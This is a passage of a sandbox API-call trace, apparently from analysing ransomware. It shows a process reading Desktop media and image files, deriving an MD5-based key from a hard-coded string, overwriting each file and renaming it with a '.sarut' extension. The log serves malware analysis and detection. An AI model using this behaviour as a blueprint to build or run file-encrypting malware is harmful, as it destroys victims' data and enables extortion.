lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be46600, ftCreationTime.dwHighDateTime=0x1d4cfcc, ftLastAccessTime.dwLowDateTime=0x3b124230, ftLastAccessTime.dwHighDateTime=0x1d4ccbb, ftLastWriteTime.dwLowDateTime=0x3b124230, ftLastWriteTime.dwHighDateTime=0x1d4ccbb, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t9PlAeBS-2DXgBXz.mkv", cAlternateFileName="T9PLAE~1.MKV")) returned 1 [0268.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.139] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.139] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t9PlAeBS-2DXgBXz.mkv") returned=".mkv" [0268.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t9PlAeBS-2DXgBXz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t9plaebs-2dxgbxz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.139] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=3613) returned 1 [0268.140] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.141] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.142] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.143] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.143] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe1d, lpOverlapped=0x0) returned 1 [0268.143] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.143] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.143] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.143] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.144] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.144] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.144] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.144] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.144] GetLastError () returned 0x0 [0268.144] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.144] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe20) returned 0x311d708 [0268.144] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.144] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xe18, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xe18, lpOverlapped=0x0) returned 1 [0268.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.145] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.145] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.145] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.145] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.145] CloseHandle (hObject=0x5c4) returned 1 [0268.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.146] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t9PlAeBS-2DXgBXz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t9plaebs-2dxgbxz.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t9PlAeBS-2DXgBXz.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t9plaebs-2dxgbxz.mkv.sarut")) returned 1 [0268.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.146] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.147] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37325ca0, ftCreationTime.dwHighDateTime=0x1d4ca0d, ftLastAccessTime.dwLowDateTime=0xeaa17800, ftLastAccessTime.dwHighDateTime=0x1d4ceb5, ftLastWriteTime.dwLowDateTime=0xeaa17800, ftLastWriteTime.dwHighDateTime=0x1d4ceb5, nFileSizeHigh=0x0, nFileSizeLow=0x1195a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uRUwiXJup.flv", cAlternateFileName="URUWIX~1.FLV")) returned 1 [0268.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.148] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uRUwiXJup.flv") returned=".flv" [0268.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uRUwiXJup.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uruwixjup.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.148] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=72026) returned 1 [0268.148] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.150] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.150] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.160] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.160] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1195a, lpOverlapped=0x0) returned 1 [0268.161] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.161] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.161] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.161] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.161] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.163] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.163] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.163] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.163] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.163] GetLastError () returned 0x0 [0268.163] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.163] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11960) returned 0x311d708 [0268.165] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.165] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x11955, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x11955, lpOverlapped=0x0) returned 1 [0268.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.165] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1195a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.166] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.166] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.166] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.166] CloseHandle (hObject=0x5c4) returned 1 [0268.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uRUwiXJup.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uruwixjup.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uRUwiXJup.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uruwixjup.flv.sarut")) returned 1 [0268.169] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.169] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.170] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4feed190, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0x989616d0, ftLastAccessTime.dwHighDateTime=0x1d4d304, ftLastWriteTime.dwLowDateTime=0x989616d0, ftLastWriteTime.dwHighDateTime=0x1d4d304, nFileSizeHigh=0x0, nFileSizeLow=0xb5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VDarx005qh2__sirr.png", cAlternateFileName="VDARX0~1.PNG")) returned 1 [0268.170] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.170] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.170] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDarx005qh2__sirr.png") returned=".png" [0268.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDarx005qh2__sirr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vdarx005qh2__sirr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.170] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=46512) returned 1 [0268.170] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.172] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb58a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.173] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.173] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.173] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb5b0, lpOverlapped=0x0) returned 1 [0268.174] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.174] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.174] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.174] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.175] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.175] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.175] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.175] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.175] GetLastError () returned 0x0 [0268.175] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.175] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb5b0) returned 0x311d708 [0268.176] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.176] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xb5ab, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xb5ab, lpOverlapped=0x0) returned 1 [0268.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.176] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.176] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.177] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.177] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.177] CloseHandle (hObject=0x5c4) returned 1 [0268.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.180] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDarx005qh2__sirr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vdarx005qh2__sirr.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDarx005qh2__sirr.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vdarx005qh2__sirr.png.sarut")) returned 1 [0268.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.181] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.182] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e88bf80, ftCreationTime.dwHighDateTime=0x1d4c6fb, ftLastAccessTime.dwLowDateTime=0x5c0a71d0, ftLastAccessTime.dwHighDateTime=0x1d4d10f, ftLastWriteTime.dwLowDateTime=0x5c0a71d0, ftLastWriteTime.dwHighDateTime=0x1d4d10f, nFileSizeHigh=0x0, nFileSizeLow=0x5628, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y7SdTqWYI32_I2EQyR.flv", cAlternateFileName="Y7SDTQ~1.FLV")) returned 1 [0268.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.183] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y7SdTqWYI32_I2EQyR.flv") returned=".flv" [0268.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y7SdTqWYI32_I2EQyR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y7sdtqwyi32_i2eqyr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.183] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=22056) returned 1 [0268.183] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.186] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5602, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.186] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.188] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.188] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x5628, 